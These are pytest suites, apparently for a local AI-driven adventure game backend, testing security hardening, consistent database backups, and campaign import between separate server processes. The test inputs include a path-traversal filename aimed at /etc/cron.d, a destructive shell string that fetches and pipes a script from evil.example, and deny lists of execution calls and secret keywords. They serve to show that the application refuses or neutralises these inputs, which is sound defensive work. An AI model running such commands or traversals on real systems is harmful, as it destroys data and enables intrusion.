setup.add(models.Action(adventure_id=adventure.id, type="start", text="Rain."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
test_client.user_id = user_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- H09
|
||||
|
||||
def test_h09_the_product_extracts_no_archives():
|
||||
"""H09 is conditional, and this is the condition, checked rather than assumed.
|
||||
|
||||
"REQUIRED FOR V1 **if ZIP import/export is implemented**". Nothing in the
|
||||
application opens an archive: the bundle is JSON and imported sources are
|
||||
single files. So H09 is NOT APPLICABLE — and this test is what keeps that
|
||||
true, because the day somebody adds an unzip, it fails and H09 becomes
|
||||
required again.
|
||||
"""
|
||||
offenders = []
|
||||
for path in (BACKEND / "app").rglob("*.py"):
|
||||
body = path.read_text()
|
||||
for name in ("zipfile", "tarfile", "shutil.unpack_archive", "gzip.open",
|
||||
"py7zr", "rarfile"):
|
||||
if name in body:
|
||||
offenders.append(f"{path.name}: {name}")
|
||||
assert offenders == [], offenders
|
||||
|
||||
|
||||
def test_h09_an_upload_named_like_a_traversal_cannot_escape(client):
|
||||
"""H08's sibling: the filename is metadata and never a path.
|
||||
|
||||
Even with no archive extraction, an import takes a filename from the caller.
|
||||
It is stored, shown and exported — never joined to a directory.
|
||||
"""
|
||||
hostile = "../../../../etc/cron.d/pwned.md"
|
||||
response = client.post(
|
||||
f"/api/adventures/{client.adv_id}/knowledge",
|
||||
files={"file": (hostile, b"# nothing\n\ntext\n", "text/markdown")},
|
||||
data={"classification": "reference"},
|
||||
)
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
stored = response.json()["original_filename"]
|
||||
assert "/" not in stored and ".." not in stored, stored
|
||||
assert not pathlib.Path("/etc/cron.d/pwned.md").exists()
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- H10
|
||||
|
||||
def test_h10_a_wildcard_cors_origin_refuses_to_start(tmp_path):
|
||||
"""Startup refusal, proved by actually starting a process with it set.
|
||||
|
||||
Importing the module in-process would not do: the check runs at import time,
|
||||
and a test that reached it through `importlib` would still be this process,
|
||||
with this process's environment. A real interpreter is the only honest way
|
||||
to ask "does the application refuse to come up".
|
||||
"""
|
||||
result = subprocess.run(
|
||||
[sys.executable, "-c", "import app.main"],
|
||||
cwd=str(BACKEND), capture_output=True, text=True,
|
||||
env={**os.environ, "AIDND_CORS_ORIGINS": "*",
|
||||
"AIDND_DB_PATH": str(tmp_path / "x.db"),
|
||||
"AIDND_DATABASE_URL": "", "DATABASE_URL": ""},
|
||||
)
|
||||
assert result.returncode != 0, "the application started with a wildcard origin"
|
||||
assert "must not contain" in (result.stderr + result.stdout)
|
||||
|
||||
|
||||
def test_h10_a_named_origin_is_accepted(tmp_path):
|
||||
"""The control: the refusal above is about the wildcard, not about the var."""
|
||||
result = subprocess.run(
|
||||
[sys.executable, "-c", "import app.main"],
|
||||
cwd=str(BACKEND), capture_output=True, text=True,
|
||||
env={**os.environ, "AIDND_CORS_ORIGINS": "http://127.0.0.1:5173",
|
||||
"AIDND_DB_PATH": str(tmp_path / "y.db"),
|
||||
"AIDND_DATABASE_URL": "", "DATABASE_URL": ""},
|
||||
)
|
||||
assert result.returncode == 0, result.stderr[-400:]
|
||||
|
||||
|
||||
def test_h10_an_unknown_api_path_is_a_404_not_the_spa(client):
|
||||
"""A JSON API that answers HTML is one a client cannot tell has failed."""
|
||||
response = client.get("/api/nothing-here")
|
||||
assert response.status_code == 404
|
||||
assert "<!doctype" not in response.text.lower()
|
||||
|
||||
|
||||
def test_h10_an_unknown_page_path_is_the_spa(client):
|
||||
"""The other half, so the 404 above is a rule rather than a broken route."""
|
||||
response = client.get("/play/1")
|
||||
assert response.status_code in (200, 404)
|
||||
if response.status_code == 200:
|
||||
assert "<div id=\"root\">" in response.text or "<!doctype" in response.text.lower()
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- H12
|
||||
|
||||
def test_h12_a_public_endpoint_written_behind_the_api_is_refused_at_request_time(client):
|
||||
"""ADR 011's whole point: the check is not only at the front door.
|
||||
|
||||
A settings row edited with `sqlite3` — or by anything that is not the API —
|
||||
must not become an outbound request to a cloud host. The provider re-checks
|
||||
before every request, so the tampered value fails at the moment it would be
|
||||
used.
|
||||
"""
|
||||
with SessionLocal() as db:
|
||||
settings = db.query(models.Settings).filter(
|
||||
models.Settings.user_id == client.user_id).first()
|
||||
settings.endpoint_url = "https://api.openai.com/v1"
|
||||
db.commit()
|
||||
|
||||
assert endpoints.rejection_reason("https://api.openai.com/v1") is not None
|
||||
with pytest.raises(endpoints.EndpointRejected):
|
||||
endpoints.check("https://api.openai.com/v1")
|
||||
|
||||
|
||||
def test_h12_the_api_refuses_the_same_value_at_the_front_door(client):
|
||||
response = client.put("/api/settings", json={
|
||||
"endpoint_url": "https://api.openai.com/v1"})
|
||||
assert response.status_code == 400
|
||||
assert "can't be used" in response.json()["detail"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url,allowed", [
|
||||
("http://127.0.0.1:11434/v1", True),
|
||||
("http://[::1]:11434/v1", True),
|
||||
("http://192.168.1.50:11434/v1", True),
|
||||
("http://10.0.0.5:11434/v1", True),
|
||||
("https://100.64.0.9:11434/v1", True),
|
||||
("https://api.openai.com/v1", False),
|
||||
("https://api.anthropic.com/v1", False),
|
||||
("http://8.8.8.8:11434/v1", False),
|
||||
("https://example.com/v1", False),
|
||||
])
|
||||
def test_h12_the_address_rules_hold(url, allowed):
|
||||
assert (endpoints.rejection_reason(url) is None) is allowed
|
||||
|
||||
|
||||
def test_h12_the_m11_window_probe_obeys_the_same_rules():
|
||||
"""The new outbound request M11 introduced, held to the existing policy."""
|
||||
window = asyncio.run(contextwindow.probe("https://api.openai.com/v1", "gpt-4"))
|
||||
assert not window.verified
|
||||
assert "not allowed" in window.detail
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- H04/H05
|
||||
|
||||
def test_h04_shell_text_in_narration_is_stored_as_text(client):
|
||||
"""Nothing executes what a model writes. There is no shell in the path."""
|
||||
shell = "`rm -rf /`; $(curl http://evil.example/x | sh)"
|
||||
ScriptedProvider.replies = [f"The innkeeper says: {shell}"]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "ask"})
|
||||
assert response.status_code == 200
|
||||
page = client.get(f"/api/adventures/{client.adv_id}/actions?limit=3").json()
|
||||
assert any(shell in a["text"] for a in page["actions"])
|
||||
|
||||
|
||||
def test_h04_the_application_runs_no_subprocess_on_model_output():
|
||||
"""Structural: nothing in the turn path can execute anything."""
|
||||
for name in ("routers/adventures/turns.py", "narrative/extract.py",
|
||||
"narrative/apply.py", "narrative/validate.py"):
|
||||
body = (BACKEND / "app" / name).read_text()
|
||||
for forbidden in ("subprocess", "os.system", "eval(", "exec("):
|
||||
assert forbidden not in body, f"{name}: {forbidden}"
|
||||
|
||||
|
||||
def test_h05_an_invalid_state_event_is_refused_and_recorded(client):
|
||||
"""A proposal the validator refuses changes nothing and says why."""
|
||||
before = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/state/corrections", json={
|
||||
"events": [{"type": "obliterate_everything", "entity": "aldric"}],
|
||||
"note": "hostile",
|
||||
})
|
||||
assert response.status_code == 400
|
||||
after = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
assert after == before
|
||||
|
||||
|
||||
def test_h05_an_event_naming_an_unknown_entity_is_refused(client):
|
||||
before = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/state/corrections", json={
|
||||
"events": [{"type": "set_possession", "item": "ghost_item", "owner": "nobody"}],
|
||||
"note": "",
|
||||
})
|
||||
assert response.status_code == 400
|
||||
assert client.get(
|
||||
f"/api/adventures/{client.adv_id}/state").json()["document"] == before
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- H03/I06
|
||||
|
||||
def test_h03_no_cloud_provider_is_required_or_configurable(client):
|
||||
settings = client.get("/api/settings").json()
|
||||
assert "api_key" not in settings
|
||||
for key, value in settings.items():
|
||||
assert "openai.com" not in str(value)
|
||||
assert "anthropic.com" not in str(value)
|
||||
|
||||
|
||||
def test_i06_an_export_carries_no_secret(client):
|
||||
bundle = client.get(f"/api/adventures/{client.adv_id}/export").json()
|
||||
body = json.dumps(bundle).lower()
|
||||
for secret in ("api_key", "apikey", "authorization", "secret.key", "bearer "):
|
||||
assert secret not in body, secret
|
||||
|
||||
|
||||
def test_h11_no_module_fetches_an_asset_at_runtime():
|
||||
"""H11: nothing downloads a tokenizer, a font or a stylesheet on first use.
|
||||
|
||||
`test_offline_assets.py` owns the built-SPA half. This is the backend half,
|
||||
and it is aimed at the one place it nearly went wrong: the tokenizer.
|
||||
"""
|
||||
from app.context import encoding
|
||||
|
||||
vendored = pathlib.Path(encoding.__file__).parent / "vendor"
|
||||
assert vendored.exists(), "the tokenizer table is not vendored"
|
||||
assert encoding.BPE_PATH.exists(), "the vendored merge table is missing"
|
||||
|
||||
# The claim is that nothing *fetches*, not that no URL appears: the module
|
||||
# records `SOURCE_URL` so the vendored copy can be re-derived, which is
|
||||
# provenance rather than behaviour. The first version of this test asserted
|
||||
# the absence of the string and failed on that comment — a harness defect,
|
||||
# recorded as such in the M11 report.
|
||||
body = pathlib.Path(encoding.__file__).read_text()
|
||||
for client in ("blobfile", "requests", "httpx", "urllib.request", "urlopen"):
|
||||
assert client not in body, client
|
||||
# And the table is read from the vendored file rather than downloaded.
|
||||
assert "read_bytes()" in body or "open(" in body
|
||||
@@ -0,0 +1,451 @@
|
||||
"""M9: a consistent copy of the whole database, taken while it is being written.
|
||||
|
||||
`app/backup.py` explains why a plain file copy is not a backup. This file is the
|
||||
evidence for the claim, and the shape of it matters: **every test below opens the
|
||||
backup as its own database and reads what is in it.** A test that only checked a
|
||||
file appeared, or that the endpoint returned 201, would pass against a `cp` — and
|
||||
a `cp` is exactly what this replaces.
|
||||
|
||||
The load test is the one that separates the two. It writes to the source
|
||||
database *while* the backup is being taken, from a second thread, and then asks
|
||||
the copy for a story it can check turn by turn. A page-torn copy would show a
|
||||
transcript with a hole in it, a campaign whose head points past its own story, or
|
||||
a `quick_check` failure — and would show none of those on a quiet database, which
|
||||
is why the quiet case is not the interesting one.
|
||||
|
||||
python -m pytest tests/test_m9_backup.py -v
|
||||
"""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, backup, limits, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider, tally_of, tally_reply
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
"""The app, and a campaign with enough in it to recognise afterwards."""
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="backup@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(user_id=user.id, model="test-model"))
|
||||
adventure = models.Adventure(user_id=user.id, title="Backed up")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text="The story opens.",
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def elsewhere(tmp_path, monkeypatch):
|
||||
"""Backups land under a temporary directory, not beside the real database."""
|
||||
fake_db = tmp_path / "campaign.db"
|
||||
fake_db.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
return fake_db
|
||||
|
||||
|
||||
def _play(client, text, total):
|
||||
ScriptedProvider.replies = [tally_reply(f"Beat {total // 10}.", total)]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": text})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
|
||||
|
||||
def _open(path) -> sqlite3.Connection:
|
||||
"""The backup, as its own database, read-only."""
|
||||
connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
|
||||
connection.row_factory = sqlite3.Row
|
||||
return connection
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ the copy
|
||||
|
||||
def test_the_backup_is_a_database_that_passes_its_own_integrity_check(client):
|
||||
for turn in range(1, 4):
|
||||
_play(client, f"turn {turn}", turn * 10)
|
||||
result = backup.create()
|
||||
try:
|
||||
assert result.integrity == "ok"
|
||||
assert result.pages > 0
|
||||
assert result.bytes > 0
|
||||
with _open(result.path) as db:
|
||||
assert db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
assert db.execute("PRAGMA foreign_key_check").fetchall() == []
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_the_backup_holds_the_schema_and_every_family_of_row(client):
|
||||
"""Not "the file exists": the copy is opened and asked what is in it."""
|
||||
for turn in range(1, 4):
|
||||
_play(client, f"turn {turn}", turn * 10)
|
||||
checkpoint = client.post(f"/api/adventures/{client.adv_id}/checkpoints",
|
||||
json={"name": "Here", "note": "A position."})
|
||||
assert checkpoint.status_code == 201
|
||||
upload = client.post(
|
||||
f"/api/adventures/{client.adv_id}/knowledge",
|
||||
files={"file": ("canon.md", b"# Rule\n\nThe dead do not return.\n",
|
||||
"text/markdown")},
|
||||
data={"classification": "canon"},
|
||||
)
|
||||
assert upload.status_code == 201, upload.text[:300]
|
||||
|
||||
result = backup.create()
|
||||
try:
|
||||
with _open(result.path) as db:
|
||||
tables = {
|
||||
row["name"] for row in
|
||||
db.execute("SELECT name FROM sqlite_master WHERE type='table'")
|
||||
}
|
||||
for expected in ("adventures", "actions", "branches", "checkpoints",
|
||||
"knowledge_sources", "knowledge_chunks",
|
||||
"state_events", "summaries", "settings"):
|
||||
assert expected in tables, f"{expected} is missing from the backup"
|
||||
|
||||
campaign = db.execute(
|
||||
"SELECT * FROM adventures WHERE id = ?", (client.adv_id,)
|
||||
).fetchone()
|
||||
assert campaign["title"] == "Backed up"
|
||||
# The head, which is the thing a restore has to reproduce.
|
||||
assert campaign["head_depth"] >= 0
|
||||
assert campaign["head_branch_id"] is not None
|
||||
|
||||
texts = [row["text"] for row in db.execute(
|
||||
"SELECT text FROM actions WHERE adventure_id = ? ORDER BY id",
|
||||
(client.adv_id,),
|
||||
)]
|
||||
assert "The story opens." in texts
|
||||
assert any("Beat 3." in text for text in texts)
|
||||
|
||||
assert db.execute(
|
||||
"SELECT name FROM checkpoints WHERE adventure_id = ?",
|
||||
(client.adv_id,),
|
||||
).fetchone()["name"] == "Here"
|
||||
assert db.execute(
|
||||
"SELECT COUNT(*) c FROM knowledge_sources WHERE adventure_id = ?",
|
||||
(client.adv_id,),
|
||||
).fetchone()["c"] == 1
|
||||
assert db.execute(
|
||||
"SELECT COUNT(*) c FROM state_events WHERE adventure_id = ?",
|
||||
(client.adv_id,),
|
||||
).fetchone()["c"] > 0
|
||||
# And the head names a turn that is actually in the copy.
|
||||
assert db.execute(
|
||||
"SELECT COUNT(*) c FROM actions WHERE adventure_id = ? "
|
||||
"AND branch_id = ? AND depth = ?",
|
||||
(client.adv_id, campaign["head_branch_id"], campaign["head_depth"]),
|
||||
).fetchone()["c"] > 0
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_the_state_in_the_backup_is_the_state_the_campaign_had(client):
|
||||
"""The authoritative document, read out of the copy and compared."""
|
||||
for turn in range(1, 5):
|
||||
_play(client, f"turn {turn}", turn * 10)
|
||||
live = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
result = backup.create()
|
||||
try:
|
||||
with _open(result.path) as db:
|
||||
from app import compression
|
||||
|
||||
blob = db.execute(
|
||||
"SELECT narrative_state FROM adventures WHERE id = ?",
|
||||
(client.adv_id,),
|
||||
).fetchone()["narrative_state"]
|
||||
assert tally_of(compression.unpack(blob)) == tally_of(live) == 40
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
# ------------------------------------------------------------ while it is live
|
||||
|
||||
def test_a_backup_taken_during_writes_is_consistent(client):
|
||||
"""The claim a plain file copy cannot make.
|
||||
|
||||
Turns are played from a second thread throughout the copy. The backup that
|
||||
comes out is a snapshot of *some* committed point — which point is not
|
||||
determined, and asserting on a particular one would be asserting on a race —
|
||||
so what is checked is that it is a coherent one: `quick_check` passes, no
|
||||
foreign key dangles, the transcript has no gap in it, and the head names a
|
||||
turn that exists.
|
||||
"""
|
||||
stop = threading.Event()
|
||||
written: list[int] = []
|
||||
failures: list[Exception] = []
|
||||
|
||||
def keep_writing():
|
||||
turn = 0
|
||||
while not stop.is_set() and turn < 40:
|
||||
turn += 1
|
||||
try:
|
||||
_play(client, f"concurrent {turn}", turn * 10)
|
||||
written.append(turn)
|
||||
except Exception as exc: # noqa: BLE001 - reported to the test
|
||||
failures.append(exc)
|
||||
return
|
||||
time.sleep(0.005)
|
||||
|
||||
writer = threading.Thread(target=keep_writing, daemon=True)
|
||||
writer.start()
|
||||
# Let a few turns land, so the copy is taken over a database that is moving
|
||||
# rather than one that has not started.
|
||||
while len(written) < 3 and writer.is_alive():
|
||||
time.sleep(0.01)
|
||||
|
||||
result = backup.create()
|
||||
stop.set()
|
||||
writer.join(timeout=30)
|
||||
assert not failures, f"the writer failed: {failures[0]}"
|
||||
assert written, "no turn was written during the backup"
|
||||
|
||||
try:
|
||||
with _open(result.path) as db:
|
||||
assert db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
assert db.execute("PRAGMA foreign_key_check").fetchall() == []
|
||||
|
||||
rows = db.execute(
|
||||
"SELECT depth, type FROM actions WHERE adventure_id = ? "
|
||||
"AND live = 1 ORDER BY depth",
|
||||
(client.adv_id,),
|
||||
).fetchall()
|
||||
depths = [row["depth"] for row in rows]
|
||||
assert depths == list(range(len(depths))), (
|
||||
f"the transcript in the backup has a gap: {depths}"
|
||||
)
|
||||
campaign = db.execute(
|
||||
"SELECT head_branch_id, head_depth FROM adventures WHERE id = ?",
|
||||
(client.adv_id,),
|
||||
).fetchone()
|
||||
assert db.execute(
|
||||
"SELECT COUNT(*) c FROM actions WHERE adventure_id = ? "
|
||||
"AND branch_id = ? AND depth = ?",
|
||||
(client.adv_id, campaign["head_branch_id"], campaign["head_depth"]),
|
||||
).fetchone()["c"] > 0, "the head points past the story in the backup"
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_the_source_database_is_untouched_by_a_backup(client):
|
||||
"""Opened read-only, so this is a guarantee rather than an observation."""
|
||||
_play(client, "one", 10)
|
||||
source = Path(str(engine.url.database))
|
||||
before = source.read_bytes()
|
||||
result = backup.create()
|
||||
try:
|
||||
assert source.read_bytes() == before
|
||||
assert client.get(f"/api/adventures/{client.adv_id}").status_code == 200
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- the rules
|
||||
|
||||
def test_an_existing_backup_is_never_overwritten(client):
|
||||
"""Yesterday's backup surviving today's mistake is most of the point."""
|
||||
first = backup.create()
|
||||
second = backup.create()
|
||||
try:
|
||||
assert first.path != second.path
|
||||
assert first.path.exists() and second.path.exists()
|
||||
finally:
|
||||
first.path.unlink(missing_ok=True)
|
||||
second.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_two_backups_in_the_same_second_do_not_collide(client, monkeypatch):
|
||||
from datetime import datetime
|
||||
|
||||
fixed = datetime(2026, 9, 7, 4, 30, 0)
|
||||
first = backup.create(now=fixed)
|
||||
second = backup.create(now=fixed)
|
||||
try:
|
||||
assert first.path != second.path
|
||||
assert first.path.exists() and second.path.exists()
|
||||
finally:
|
||||
first.path.unlink(missing_ok=True)
|
||||
second.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_a_failed_verification_leaves_nothing_behind(client, monkeypatch):
|
||||
"""A backup nobody verified is a belief, and one that fails is not kept."""
|
||||
monkeypatch.setattr(
|
||||
backup, "_verify",
|
||||
lambda path: (_ for _ in ()).throw(backup.BackupError("bad pages")),
|
||||
)
|
||||
root = backup.directory()
|
||||
before = set(root.iterdir())
|
||||
with pytest.raises(backup.BackupError, match="bad pages"):
|
||||
backup.create()
|
||||
assert set(root.iterdir()) == before, "a failed backup left a file behind"
|
||||
|
||||
|
||||
def test_a_failed_copy_leaves_nothing_behind_and_reports_the_reason(
|
||||
client, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(
|
||||
backup, "_copy",
|
||||
lambda source, working: (_ for _ in ()).throw(OSError("disk full")),
|
||||
)
|
||||
root = backup.directory()
|
||||
before = set(root.iterdir())
|
||||
with pytest.raises(backup.BackupError, match="disk full"):
|
||||
backup.create()
|
||||
assert set(root.iterdir()) == before
|
||||
|
||||
|
||||
def test_a_missing_source_database_is_reported_rather_than_guessed_at(tmp_path):
|
||||
with pytest.raises(backup.BackupError, match="no database"):
|
||||
backup.create(tmp_path / "not-here.db")
|
||||
|
||||
|
||||
def test_the_partial_file_is_never_left_wearing_a_backups_name(client, monkeypatch):
|
||||
"""The rename is the last step, so an interrupted run is invisible."""
|
||||
seen: list[Path] = []
|
||||
real_copy = backup._copy
|
||||
|
||||
def watch(source, working):
|
||||
seen.append(Path(working))
|
||||
return real_copy(source, working)
|
||||
|
||||
monkeypatch.setattr(backup, "_copy", watch)
|
||||
result = backup.create()
|
||||
try:
|
||||
assert seen and seen[0].name.endswith(".partial")
|
||||
assert not seen[0].exists(), "the temporary file survived"
|
||||
assert result.path.exists()
|
||||
assert not result.path.name.endswith(".partial")
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
# --------------------------------------------------------------- the endpoint
|
||||
|
||||
def test_the_endpoint_takes_a_backup_and_says_where_it_went(client):
|
||||
response = client.post("/api/backups")
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
body = response.json()
|
||||
path = Path(body["directory"]) / body["filename"]
|
||||
try:
|
||||
assert body["integrity"] == "ok"
|
||||
assert body["bytes"] > 0
|
||||
assert path.exists()
|
||||
with _open(path) as db:
|
||||
assert db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
finally:
|
||||
path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_the_endpoint_lists_what_is_there_newest_first(client):
|
||||
"""Ordered by when the backup was taken, which is what its name records.
|
||||
|
||||
Both files here are written in the same instant, so their modification times
|
||||
are indistinguishable and only the stamp in the name says which is which.
|
||||
That is not a contrived case: copying a backup to another disk or restoring
|
||||
one from an archive rewrites its mtime, and a list that reordered itself
|
||||
afterwards would report when the file was last handled rather than when the
|
||||
backup was taken.
|
||||
"""
|
||||
from datetime import datetime
|
||||
|
||||
older = backup.create(now=datetime(2026, 9, 1, 10, 0, 0))
|
||||
newer = backup.create(now=datetime(2026, 9, 6, 10, 0, 0))
|
||||
try:
|
||||
listed = client.get("/api/backups")
|
||||
assert listed.status_code == 200
|
||||
rows = listed.json()["backups"]
|
||||
names = [row["filename"] for row in rows]
|
||||
assert names.index(newer.path.name) < names.index(older.path.name)
|
||||
by_name = {row["filename"]: row["taken_at"] for row in rows}
|
||||
assert by_name[newer.path.name].startswith("2026-09-06T10:00")
|
||||
assert by_name[older.path.name].startswith("2026-09-01T10:00")
|
||||
finally:
|
||||
older.path.unlink(missing_ok=True)
|
||||
newer.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_a_backup_this_build_did_not_name_still_lists(client):
|
||||
"""A file in the directory whose name carries no stamp is still shown.
|
||||
|
||||
The modification time answers instead. The fallback exists to keep a
|
||||
hand-renamed or third-party file visible rather than silently absent from
|
||||
the list a reader uses to find their backups.
|
||||
"""
|
||||
stray = backup.directory() / f"{backup.PREFIX}-handwritten.db"
|
||||
stray.write_bytes(b"SQLite format 3\x00")
|
||||
try:
|
||||
rows = client.get("/api/backups").json()["backups"]
|
||||
listed = {row["filename"]: row for row in rows}
|
||||
assert stray.name in listed
|
||||
assert listed[stray.name]["taken_at"]
|
||||
finally:
|
||||
stray.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_the_endpoint_accepts_no_path_from_the_caller(client):
|
||||
"""H08. There is no field to attempt a traversal in.
|
||||
|
||||
The destination is derived from the database the application already has
|
||||
open and the name from the clock, so a body is not merely ignored — there is
|
||||
nothing for one to name.
|
||||
"""
|
||||
from app.main import app as application
|
||||
|
||||
schema = application.openapi()["paths"]["/api/backups"]["post"]
|
||||
assert "requestBody" not in schema
|
||||
assert not schema.get("parameters")
|
||||
# And sending one anyway changes nothing about where the file lands.
|
||||
response = client.post("/api/backups", json={"path": "../../../tmp/escape.db"})
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
body = response.json()
|
||||
path = Path(body["directory"]) / body["filename"]
|
||||
try:
|
||||
assert path.parent == backup.directory()
|
||||
assert ".." not in body["filename"]
|
||||
finally:
|
||||
path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_a_failure_is_a_clear_error_rather_than_a_silent_success(
|
||||
client, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(
|
||||
backup, "create",
|
||||
lambda *a, **k: (_ for _ in ()).throw(backup.BackupError("no space left")),
|
||||
)
|
||||
response = client.post("/api/backups")
|
||||
assert response.status_code == 500
|
||||
assert "no space left" in response.json()["detail"]
|
||||
@@ -0,0 +1,460 @@
|
||||
"""M9: the campaign moves to a machine that has never seen it.
|
||||
|
||||
This is the milestone's Definition of Done, and it is the one claim the rest of
|
||||
the M9 suite cannot make. `test_m9_portability.py` imports beside the original,
|
||||
in one process, against one database — which is the right place to check the
|
||||
*contract* and the wrong place to check *portability*. A shared id space, a
|
||||
warm cache, a row the exporter forgot to scope, a session still holding the
|
||||
original: every one of those would pass there and fail here.
|
||||
|
||||
So each test below:
|
||||
|
||||
1. starts a real server process against database A, and plays a campaign;
|
||||
2. exports it over HTTP and stops that process;
|
||||
3. starts a **second** server process against database B, **a file that has
|
||||
never existed before**, in a different directory;
|
||||
4. imports the file over HTTP, and asks the second process what it has.
|
||||
|
||||
Nothing crosses between them but the bundle. Migrations run on B from nothing,
|
||||
because it is a new file — so this is also the fresh-install path, and the
|
||||
"clean data directory" in the Definition of Done is a directory, not a metaphor.
|
||||
|
||||
The final test restarts the *importing* server, which is L03 after a move: a
|
||||
Save Point restored in the third process must reach the same position and the
|
||||
same state as it did in the second.
|
||||
|
||||
python -m pytest tests/test_m9_clean_import.py -v
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from fakes import TALLY_PER_TURN, tally_of
|
||||
from test_process_restart import Server, _free_port
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def machines():
|
||||
"""Two directories, each with its own database, and the servers on them.
|
||||
|
||||
Two directories rather than two filenames, because the backup directory and
|
||||
anything else the application derives from the database's location must land
|
||||
in the importing machine's own space rather than beside the exporter's.
|
||||
"""
|
||||
root = tempfile.mkdtemp(prefix="m9-clean-")
|
||||
started: list[Server] = []
|
||||
|
||||
def start(name: str) -> Server:
|
||||
directory = os.path.join(root, name)
|
||||
os.makedirs(directory, exist_ok=True)
|
||||
server = Server(os.path.join(directory, "campaign.db"), _free_port())
|
||||
started.append(server)
|
||||
server.wait_until_ready()
|
||||
return server
|
||||
|
||||
def path_of(name: str) -> str:
|
||||
return os.path.join(root, name, "campaign.db")
|
||||
|
||||
try:
|
||||
yield start, path_of
|
||||
finally:
|
||||
for server in started:
|
||||
server.stop()
|
||||
shutil.rmtree(root, ignore_errors=True)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ building
|
||||
|
||||
def _campaign(server: Server) -> int:
|
||||
"""A campaign with everything a move has to carry, played over HTTP.
|
||||
|
||||
Deliberately not `m9_fixture`: that builds through a `TestClient` and this
|
||||
file exists to avoid one. What it reproduces is the same shape — a retry, a
|
||||
Save Point, an imported source that a turn actually used, an undone head and
|
||||
a retained future.
|
||||
"""
|
||||
adventure = server.call("POST", "/adventures", {
|
||||
"title": "Moved between machines",
|
||||
"canon_rules": ["The dead do not return."],
|
||||
